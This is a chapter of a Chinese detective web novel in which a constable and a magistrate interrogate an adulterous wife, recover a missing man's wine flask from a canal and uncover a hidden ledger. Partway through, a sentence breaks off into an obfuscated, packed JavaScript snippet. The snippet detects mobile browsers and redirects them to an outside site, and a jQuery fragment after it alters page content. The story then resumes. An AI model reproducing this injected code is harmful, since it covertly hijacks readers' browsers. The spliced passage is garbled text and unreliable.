“县尊大人,我真的只是好奇才去问的,这些天这桩案子沸沸扬扬,邻居们都在议论,他们说我们家郎君是在衙门里做事的,肯定知道些内幕,我好面子,便……哎呀,我一时头昏,做了糊涂事,真的不是要做什么!”
于梅儿极力解释着,生怕他们把她当成嫌疑人捉进去。
她说着说着还哭了起来,她模样不错,哭起来梨花带雨的。
无奈她面对的是裴霜,裴霜不仅无感,反而觉得有些烦躁,有些女人,最懂得以弱者的姿态来达到目的。
“别哭了,先不说陈茂的事,你家胡修文去哪儿了?”
“啊?”于梅儿止住哭声,显然没想到她会问这个,“他不是在县衙吗?他不在县衙能去哪?”
众人都疑惑了下。
胡修文也失踪了?
裴霜在屋子里转了转,随意地到处看,又问:“他不常回家?”
说起这个,于梅儿语气中颇有怨怼:“不常回,整天就住在衙门里,抱着他那些个破账本!一个月见不了两回人。我这日子啊……过得和守活寡似的,不过他每个月都往家里拿银子,吃的用的都不曾短缺了我,不回就不回吧,我自个儿找乐子。”
裴霜抱臂倚在墙上:“你所谓的乐子,就是背着他找别的郎君?”
这话说的直接,大家都看向她,张泉几人脸色微变,只有霍元晦神色如常。
“你这捕快娘子怎么说话呢,女人的名节是顶重要的,你个小娘子,怎么开口就是污蔑人?”
裴霜没理会她的激动,走到墙角处,提着一双鞋过来。
于梅儿在看到那双鞋时,眼睛微微瞪大。
裴霜手上是一双生皮钉靴,多用作雨鞋,因造价昂贵,不是寻常人家会做的鞋。但漕运卫所的人因需检修河道,会常穿这种鞋。
“于娘子,解释一下你家里怎么会有这双靴子?”
“这,买来雨天穿的。”于梅儿说话底气明显没有刚才足。
裴霜见她还狡辩,将靴子翻开,递到她眼前,于梅儿倒吸一口凉气。
里面赫然是一个漕运卫所的印记。
“你大概不知道,官家所发之物,都是有印记的,即使是漕运卫所,也有。”
于梅儿不到黄河心不死:“这……这一双靴子而已,我捡来的……我……”
“还要我上你的内房去搜一搜吗?你家中应该不止这一件别的男人的东西吧。说!这靴子是不是陈茂的?你就是他在外面的相好。”裴霜声音倏然放大,神色严肃,让于梅儿心头一颤。
她似被吓到,转着眼珠想对策,最终还是垂眸,像是认命般,抖着声音道:“我……是,我们是相好。”
“都怪那胡修文不回家,把我这么一个水灵灵的娘子娶回来就不管了,长夜漫漫,我一人怎么熬得过,茂郎比他好一百倍!”
陈茂与胡修文其实认识,并且关系还不错。胡修文常不回家,于梅儿还以为他在外面有人了,便跟踪了她几回,发现他每次回家送钱之后都会去一趟运河边的茶肆。
两人每次聊天的时间并不长,约莫是一盏茶的时间。
最后一回于梅儿跟踪,没被胡修文看见,却被陈茂发现了。得知误会一场,陈茂还很有风度的道歉。
于梅儿心里就惦记上陈茂了,陈茂高大威猛,与胡修文这么文弱书生是不一样的感觉,她又打听到陈茂是在卫所做正纲的,便有意无意去河道边偶遇,一来二去,两人便勾搭上了。
“有多久了?”
“有……一年多了吧。”
“胡修文一直没发现?”
“他不知道的。他的性子,最是迂腐,若发现此事,怕是得立刻要了我和茂郎的命。”于梅儿肯定道,“茂郎刚不见那会儿,我也怀疑会不会是他干的,但转念想想,他一个书生,又怎么打得过茂郎,况且我们一直很小心,连邻居都不曾察觉到。”
说完,她还担心地问上一句:“茂郎真的还没有消息吗?”
霍元晦:“陈茂失踪前见的最后一个人,就是胡修文。”
“真是他做的?他不在县衙,定是畏罪潜逃了,哎呀,茂郎,是我害你,是我害你!”于梅儿痛心疾首,捂着自己的胸口,倒确有真情流露的感觉。
霍元晦当即下命令,全力搜找胡修文。
陈茂还没下落,又要找胡修文。
几人回到县衙,门房衙役报告:“有个漕运卫所的人,等了许久了。”
估计是林副纲,他有线索了?
林副纲在堂里踱步已经许久,见裴霜他们回来,也不废话,直接递上东西。
“县尊大人,我们今日清理河道,捞上来这个酒囊。”
裴霜看了眼那在泥水里泡过的牛皮酒囊:“这是陈茂的酒囊?”
“没错,边上有个茂字,他曾说过是他夫人绣的,况且我们一同喝酒这么多次了,绝不会认错。”
裴霜摸了摸侧边,有凹凸不平,绣线的颜色已褪去,已辨不清上面的字:“你方才说,这是从运河里捞上来的?”
“是。”
酒囊一直是陈茂贴身带着的,它在运河里,那陈茂又会在哪里呢?
大家心头不约而同都浮起一个猜测。
霍元晦:“让华碧娘来认认。”
不论怎样,大家都不想见到那最坏的结果。
但结果,往往不尽如人意。
华碧娘一见酒囊,就高呼:“这就是我夫君的酒囊,茂哥人在哪,你们找到他了?”
她扯着裴霜的衣袖问,却没有人回答她。
裴霜狠了狠心,还是说:“运河里捞上来的。”
华碧娘瞪大了眼睛:“不,不,茂哥不会出事的,他水性极好,怎么可能……”说到这儿她已泣不成声。
霍元晦:“尸首还没找到,人不一定死了。”
“对对对,还没找到尸首,没找到尸首,茂哥没死对不对,他水性那么好,又常在运河里作业,就算掉下河,也有办法,也有办法,他一定没死!”华碧娘抱着酒囊,一口气没喘上来,晕了过去。
裴霜赶紧扶住,看向霍元晦。
霍元晦手指按上她的脉:“忧虑过重,以至昏厥。将人扶到后面休息吧。”
裴霜打横抱起人,在后院给她找了间厢房安置。
月亮高悬在天空,圆圆的如同白玉盘,裴霜坐在台阶上,背靠廊柱,抬头望月。
“想什么呢?”
她没回头,仍看着月亮:“士之耽兮,犹可脱也,女之耽兮,不可脱也。①”
霍元晦也撩袍坐下:“在替华碧娘不值?”
“陈茂已是街头巷尾都在夸的好郎君了,可还是在外有人。”
这是联想到自己了?
霍元晦:“你怕裴姨给你挑个不好的?”
裴霜睨他一眼:“绕我身上来干嘛,陈茂这事被发现,顶多也是多件风流韵事,于梅儿就不同了,她得被吐沫星子淹死。男人和女人差别如此大,不公平,太不公平了!”
裴霜从前没想过这些,到了年纪就安排嫁人,大家都是这样的,她虽不解,也只能接受。
只是瞧见华碧娘的下场,全力依附在一个男人身上,男人死了,她的命也去了一大半,裴霜不想要那样。
霍元晦看着她:“世间事本就多有不平。”
“那便路见不平,拔刀相助!”裴霜眼神坚毅。
月光如瀑,倾泻在面前人的发上,衣襟上,更衬得她一双杏眸炯炯,闪着理想的光。
霍元晦望着她笑:“裴捕快高义!”
裴霜眯起眼,这厮吃错药了?居然没嘲讽她。
霍元晦白衣翩迁,他眸色很淡,在月光下闪着琥珀色的冷光,不说话时,这副皮囊确实看着非常顺眼。
裴霜托着他手臂把人拉起来:“你怎么坐地上,更深露重不知道呀。”
“我有分寸。”
“别以为和师父学了点医术就觉得自己能了,况且医者不自医。你要生病,郦姨和我阿娘又得掉眼泪了。”
霍元晦理了理衣衫:“我不会让他们掉眼泪的。”
他转身,回头道:“跟上。”
“去哪?”
“当然是去查案,裴捕快。”
夜色渐深,风一吹,月亮躲进云层,最后的一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457521|169585||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
丝光亮也消失。
裴霜手里提着灯笼:“来这儿查?”
面前是胡书吏的房间。
“陈茂与胡修文有旧,但鲜有人知,这不奇怪吗?”
裴霜拿出火折子点燃房间里的油灯:“确实奇怪,陈茂爱酒,而胡修文爱茶,这两人又没什么亲戚关系,能认识就很不错了。”
“若真是胡修文推陈茂下水,又是为什么他才会下此毒手呢?”
“或许他发现了于梅儿和陈茂的私情。”
霍元晦翻找着陈茂的书桌:“不能排除这种可能性,但若是因为私情,于梅儿和陈茂,胡修文会先找谁算账呢?”
那必然是于梅儿,陈茂人高马大,胡修文对于陈茂是弱者,但对于于梅儿反而是强者,一般人都会选择相对能掌控的一方。
“所以胡修文可能并不知道私情,那他下手的目的……”
霍元晦在胡修文床上翻找,拿起木枕,敲了敲,有回声。
是空的!
裴霜坐到床沿,霍元晦把木枕套取了,发现里面有一个暗格,打开暗格,里面是一本巴掌大的小册子,还用牛皮包了封面。
霍元晦打开看到里面的内容,神色微变。
裴霜眯着眼睛凑近看:“这字也太小了,给蚂蚁看的吗?”
霍元晦走到书桌前,拿起青瓷笔筒里的西洋手持镜。
透过镜片,字放大了数倍,裴霜终于看清了。
怎料,她差点惊呼出声:“这是……”
“嘘——”霍元晦食指抵在双唇中央。
这个东西太吓人了!
霍元晦合上册子,收好:“其实之前点库的时候我就发现有些不对了。”
“怪不得你不让胡书吏干,偏抓着我。”裴霜干活的时候不情不愿,满心烦躁,现冷静下来想想,确有许多对不上的地方。
“他一个小小书吏,怎么会有这么重要的东西?”
“现在还不知内情,况且……”霍元晦忽然不说话。
两人对视一眼,都察觉到了,裴霜没发出声音,嘴巴动了动,口型分明是:“有人——”
裴霜吹灭油灯,拉着霍元晦躲在了床尾,她手放在刀柄上,猫着腰正打算出去。
霍元晦攀住她的肩,无声道:“小心。”
裴霜拍拍他的手指示意放心,转身离去,她缓步朝着窗走过去,窗户正被悄悄顶起。
屋里很静,窗户被开的声音也很小,不仔细根本听不见,等窗户开到一个可以容人的大小,不再动了。一个黑影窜进来,裴霜看准时机,正要一刀砍下去。
忽然对上黑暗中发光的瞳孔,随后一声:“喵——”
这分明是只黑猫,裴霜刀锋一转,砍到青石板地上,发出声响。
裴霜暗叫不好,当即破窗而出,只见月光下一个黑衣人闪身翻上屋檐。
“贼子哪里跑!”长刀破风而至,那黑衣人举起手中短刃抵挡。
铮——短兵相接的金属音在寂静的夜空中格外清晰。
周围屋子的灯陆续亮了起来,黑衣人的手被震得发麻,手中的短刀都握不住,轱辘轱辘从屋檐上滚了下去,掉在院中。
黑衣人来不及震惊这小女子怎会有那么大的力道,裴霜舞着刀又砍来,他侧身一躲,暗道不妙。
对方不再纠缠,轻点脚步而走。
她提气跟上,来人身法奇特,恍然如猫,追了两条街,再不见对方人影,她只得悻悻离去。
再回胡书吏的房间,已是灯火通明,刚才那动静,把整个县衙的人都召过来了。
霍元晦坐在院中,怀里抱着黑猫,他抚摸着黑猫脑顶的毛:“大家都散了吧,以为有贼,其实是只猫。”
裴霜也知今夜的事情不能声张,走过去撸了一把猫:“你这小家伙,害得我们虚惊一场。”
见是误会,大家就都散了。
等人走后,裴霜道:“那人武功一般,但轻身功夫很好,我追不上。”
霍元晦拿出藏起的短刀,扔在桌上:“无妨,目的没达成,迟早还会露马脚。”
刀柄上一处火焰印记在月光下闪着寒芒。